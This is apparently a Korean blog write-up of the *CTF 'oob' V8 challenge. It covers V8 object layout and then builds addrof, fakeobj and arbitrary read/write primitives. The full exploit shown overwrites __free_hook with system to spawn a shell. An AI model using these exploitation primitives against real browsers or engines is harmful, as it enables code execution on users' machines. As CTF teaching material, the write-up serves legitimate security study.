[ v8 ] v8 Exploit 기본 개념 및 *CTF oob 문제 해설

sangjun

·

2022. 1. 5. 00:12

1. 환경 세팅

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8
cd v8
./build/install-build-deps.sh

git checkout <commit version>
gclient sync
git apply <문제로 주어진 git 패치파일>

./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

-----------------------------------
환경세팅 특이사항
- ubuntu20.04가 안정적이다.
- 설치중에 뭐가 뜨는데 skip해주기
- x64.debug모드 말고 x64.release모드로 해야함.(debug모드는 중간에 abort가 뜸)

https://omahaproxy.appspot.com/

깃 커밋 확인하는곳

 

OmahaProxy - Google Chrome

Look up Google accounts from Chromium ones. Requires a Chromium login.

omahaproxy.appspot.com

2. 기본 개념

- 포인터 태그

4byte단위로 정렬될 시에 하위 2비트가 남기 때문에 여기에 정보를 기록한다.

하위 2비트에 남긴 정보를 이용하여 객체가 SMI인지 Heap Object인지를 구별한다.

하위 1비트는 SMI인지를 구별하고 하위 2번째 비트는 Heap Object중에

fast/slow 둘 중 어느 타입인지를 비교한다.

 

(in /src/objects/objects.h : 35)

v8 자료형들의 hierarchy를 볼 수가 있다.

- Object

   - SMI

   - Heap Object

     - JSReceiver

        - JSArray

        - JSArrayBuffer

- Pointer Compression

high 32bit가 고정이고, low 32bit가 제일 많이 변하는 점을 파악하여

high를 dedicated register에 저장해놓는 방식이다.(isolate root라고 부른다.)

 

이렇게 함으로써 memory를 절약할 수 있고 더 안전하다.

 

- SMI

SMall Integer라는 뜻으로 c언어에서 정수를 표현한다.

c언어와 구별되는 점은 32bit중에 31bit만이 사용가능하다.

이유는 ( v8이하의 버전은 31bit를 << 1 연산하여 저장하기 때문이다.)

64bit 아키텍쳐에서는 32bit를 모두 사용 가능하다.

 

- MAP

v8 엔진에서는 객체에 접근할 때마다 map을 참조하여 객체들을 구별한다.

map은 아래와 같은 정보를 가지고 있는 데이터 구조라고 보면 된다.

1. 개체의 유형, 힙 번호 등등...객체의 타입이 무엇인지 결정하는 것 같다.

2. 객체의 크기를 가지고 있다.

3. 객체의 속성과 저장위치를 가지고 있다. 즉 메모리 위치를 기억하고 있다.

4. 배열 요소의 유형

5. 객체의 프로토타입을 가지고 있다.

 

- ftoi / itof

C언어에서는 라이브러리에 이미 구현이 되어있지만 JS에서는 구현이 안되어 있어서 직접 구현해놓은 것 같다.

Skeleton코드이니 복붙해서 사용을 한다.

var buf=new ArrayBuffer(8);
var f64_buf=new Float64Array(buf);
var u64_buf=new Uint32Array(buf);

function ftoi(val){
	f64_buf[0]=val;
    return BigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);
}

function itof(val){
	u64_buf[0]=Number(val&0xffffffffn);
    u64_buf[1]=Number(val>>32n);
    return f64_buf[0];
}

 

Array객체 선언시 Memory Layout

- JSArray ( 객체가 없는 배열? ex) 실수형 배열, 정수형 배열)

var test=[1.1 , 2.2];

%DebugPrint(test)를 해보면, test객체는 JSArray의 주소를 가지고 있다.

test[0]을 해주게 되면, JSArray -> elements의 주소를 찾아간 다음 +0x10주소의 값을 읽어서 1.1을 출력하는 것이다.

- JSObject Array

test객체는 그림에서 object주소를 가지고 있다.

만약 test[1]을 해주게 된다면 object -> elements에서 +0x10+0x8한 주소를 참조하여 문자열을 읽어온다.

정확히 말하자면 (*(object -> elements +0x10+0x8)+0x10)에 우리가 입력한 문자열이 있다.

 

이것이 위의 JSArray와 다른 점은 배열의 인덱스로 참조해서 들어갈 때 이중 참조를 한다는 것이다.

C언어로 말하자면 Double Pointer이다.

 

이것이 중요한 이유는 Double Pointer이기 때문에 Fixed Array에 [원하는 주소]를 넣고 test[0], test[1] 이런식으로 참조를

해버린다면 우리는 원하는 주소에 무슨 값이 들어가있는지를 알 수가 있다.

 

또한 JSArray가 참조를 한번해서 값을 읽어오는 것을 이용해서, object의 <map>을 JSArray의 <map>으로 속인 이후에

Fixed Array에 변수를 넣는다면 Fixed Array에는 변수 주소가 적히고, test[0]을 한다면 변수의 메모리 주소를 읽어버릴 수가 있다.

이것이 addrof의 핵심이다.

\

*CTF oob 문제 해설

익스플로잇 순서

- helper.js --> ftoi / itof
- addrof
- fakeobj
- arb_read
- initial_arb_write
- arb_write

 

익스플로잇 코드를 세세하게 분석하기 전에 js에 대해 잘 몰라 자주 쓰이는 문법과 함수에 대해 정리하고 가겠다.

1. BigInt()

- 길이 제약없이 정수를 다룰 수 있게 해주는 숫자형

- 정수 리터럴 끝에 n을 붙임. 일반 숫자와 연산이 불가능하다. BigInt + BigInt 등등만 okay

- 일반 숫자와 연산해주고 싶을 경우 Number()함수에 BigInt를 넣어줘서 연산한다.

 

2. ArrayBuffer

http://mohwa.github.io/blog/javascript/2015/08/31/binary-inJS/

 

helper.js --> ftoi / itof

부동 소수점을 정수로, 정수를 부동 소수점으로 바꿔준다.

궁금한 점은 ftoi에서 return에는 u64_buf만을 이용하는데 f64_buf[0]=val을 왜 해주는지 모르겠다.

아래 코드는 스켈레톤 코드처럼 쓰자.

var buf=new ArrayBuffer(8);
var f64_buf=new Float64Array(buf);
var u64_buf=new Uint32Array(buf);

function ftoi(val){
        f64_buf[0]=val;
        return BigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);
}

function itof(val){
        u64_buf[0]=Number(val&0xffffffffn);
        u64_buf[1]=Number(val>>32n);
        return f64_buf[0];
}

AddrOf

객체의 주소를 반환하는 함수.

FixArray에 변수의 주소를 적은 이후 JsObject Array의 <map>을 JSArray의 <map>로 overwrite하고 이것을 읽어내는 방법.

읽은 이후에는 <map>을 원 상태로 복원해야한다.

궁금한 점은 왜 굳이 함수 안에서는 let으로 변수를 선언한지 모르겠다.

var temp_obj={"A":1};
var temp_obj_arr=[temp_obj];
var float_arr=[1.1,2.2,3.3,4.4];
var float_arr_map=float_arr.oob();
var obj_arr_map=temp_obj_arr.oob();

function addrof(in_obj){
        temp_obj_arr[0]=in_obj;
        temp_obj_arr.oob(float_arr_map);

        let addr=temp_obj_arr[0];

        temp_obj_arr.oob(obj_arr_map);
        return ftoi(addr);
}

FakeObj

원하는 주소를 읽을 수 있는 객체(fake)를 반환하는 함수.

Addrof과정의 역이라고도 한다.

Float[0]에 [원하는 주소]을 올려두고 JSArray의 <map>을 JsObject의 <map>으로 overwrite하고 fake object를 반환 한다면

fake object는 원하는 주소를 가리키는 변수로 반환된다.

var temp_obj={"A":1};
var obj_arr=[temp_obj];
var float_arr=[1.1,1.2,1.3,1.4];
var obj_arr_map=obj_arr.oob();
var float_arr_map=float_arr.oob();

function fakeobj(addr){
        float_arr[0]=itof(addr);
        float_arr.oob(obj_arr_map);

        let fake=float_arr[0];

        float_arr.oob(float_arr_map);
        return fake;
}

AAR / AAW

원하는 주소 읽기(AAR)과 원하는 주소 쓰기(AAW)는 자신이 조작할 수 있는 

float형 배열의 선언이 필요합니다.

 

AAR

위에서 알아본 fake obj를 이 배열에 만들어 놓고 fake obj의 elements를 [원하는 주소의-0x10]으로 바꾼 이후 fake[0]을 통해

fake obj의 elements를 참조해 원하는 주소를 읽는 과정으로 진행됩니다.

var arb_rw_arr=[float_arr_map,1.2,1.3,1.4];

function arb_read(addr){
        if(addr%2n==0)
                addr+=1n;

        let fake=fakeobj(addrof(arb_rw_arr)-0x20n);

        arb_rw_arr[2]=itof(BigInt(addr)-0x10n);
        return ftoi(fake[0]);
}

 

AAW

aaw는 특정 주소에 접근할 때 aaw가 잘 작동하지 않기 때문에 aar와 조금 다르게 추가적인 작업을 해준다.

그것은 "backing store"를 이용하는 것이라고 한다.

backing store는 객체에서 elements와 동일한 역할을 하고 &ArrayBuffer+ 0x20위치에 있다고 한다.

 

즉, AAW를 하려면 DataView로 ArrayBuffer를 감싸고 backing store를 원하는 주소로 덮고 DataView를 이용해

실질적인 AAW를 한다.

function arb_read(addr){
        if(addr%2n==0)
                addr+=1n;

        let fake=fakeobj(addrof(arb_rw_arr)-0x20n);

        arb_rw_arr[2]=itof(BigInt(addr)-0x10n);
        return ftoi(fake[0]);
}
function initial_arb_write(addr,val){
        let fake=fakeobj(addrof(arb_rw_arr)-0x20n);
        arb_rw_arr[2]=itof(BigInt(addr)-0x10n);

        fake[0]=itof(BigInt(val));
}
function arb_write(addr,val){
        let buf=new ArrayBuffer(8);
        let dataview=new DataView(buf);
        let buf_addr=addrof(buf);
        let backing_store_addr=buf_addr+0x20n;
        initial_arb_write(backing_store_addr,addr);
        dataview.setBigUint64(0,BigInt(val),true);
}

 


AAW와 AAR를 얻어냈다면 일반적인 포너블 문제처럼 풀면 된다.

한 가지 특이한 점은 웹 어셈블리어로 rwx페이지를 만들고 이 부분에 쉘 코드를 올려서 풀어도 된다.

 

Full Exploit

//my real exploit see:hlk minimum reference

var buf=new ArrayBuffer(8);
var f64_buf=new Float64Array(buf);
var u64_buf=new Uint32Array(buf);

function ftoi(val){
        f64_buf[0]=val;
        return BigInt(u64_buf[0])+(BigInt(u64_buf[1])<<32n);
}

function itof(val){
        u64_buf[0]=Number(val&0xffffffffn);
        u64_buf[1]=Number(val>>32n);
        return f64_buf[0];
}


var temp_obj={"A":1};
var temp_obj_arr=[temp_obj];
var float_arr=[1.1,2.2,3.3,4.4];
var float_arr_map=float_arr.oob();
var obj_arr_map=temp_obj_arr.oob();

console.log("[+] float_arr_map= 0x"+ftoi(float_arr_map).toString(16));
console.log("[+] obj_arr_map= 0x"+ftoi(obj_arr_map).toString(16));

function addrof(in_obj){
        temp_obj_arr[0]=in_obj;
        temp_obj_arr.oob(float_arr_map);

        let addr=temp_obj_arr[0];

        temp_obj_arr.oob(obj_arr_map);
        return ftoi(addr);
}

console.log("[+] addrof temp_obj_arr= 0x"+addrof(temp_obj_arr).toString(16));
function fakeobj(addr){
        float_arr[0]=itof(addr);
        float_arr.oob(obj_arr_map);

        let fake=float_arr[0];

        float_arr.oob(float_arr_map);
        return fake;
}

var arb_rw_arr=[float_arr_map,1.2,1.3,1.4];

function arb_read(addr){
        if(addr%2n==0)
                addr+=1n;

        let fake=fakeobj(addrof(arb_rw_arr)-0x20n);

        arb_rw_arr[2]=itof(BigInt(addr)-0x10n);
        return ftoi(fake[0]);
}
function initial_arb_write(addr,val){
        let fake=fakeobj(addrof(arb_rw_arr)-0x20n);
        arb_rw_arr[2]=itof(BigInt(addr)-0x10n);

        fake[0]=itof(BigInt(val));
}
function arb_write(addr,val){
        let buf=new ArrayBuffer(8);
        let dataview=new DataView(buf);
        let buf_addr=addrof(buf);
        let backing_store_addr=buf_addr+0x20n;
        initial_arb_write(backing_store_addr,addr);
        dataview.setBigUint64(0,BigInt(val),true);
}
var test=new Array([1.1,2.2,3.3,4.4]);

var test_addr=addrof(test);
var map_ptr=arb_read(test_addr-1n);
var map_sec_base=map_ptr-0x2f79n;
var heap_ptr=arb_read(map_sec_base+0x18n);
var PIE_leak=arb_read(heap_ptr);
var PIE_base=PIE_leak-0xaf4ea8n;


console.log("[+] test array: 0x" + test_addr.toString(16));
console.log("[+] test array map leak: 0x" + map_ptr.toString(16));
console.log("[+] map section base: 0x" + map_sec_base.toString(16));
console.log("[+] heap leak: 0x" + heap_ptr.toString(16));
console.log("[+] PIE leak: 0x" + PIE_leak.toString(16));
console.log("[+] PIE base: 0x" + PIE_base.toString(16));


puts_got=PIE_base+0xb073c8n
libc_leak=arb_read(puts_got);
libc_base=libc_leak-0x625a0n;
free_hook=libc_base+0x1c9b28n;
system=libc_base+0x30410n;
console.log("[+] libc LEAK: 0x" + libc_leak.toString(16));
console.log("[+] libc BASE: 0x" + libc_base.toString(16));
console.log("[+] free hook: 0x" + free_hook.toString(16));
console.log("[+] system: 0x" + system.toString(16));

arb_write(free_hook,system);

console.log("/bin/sh");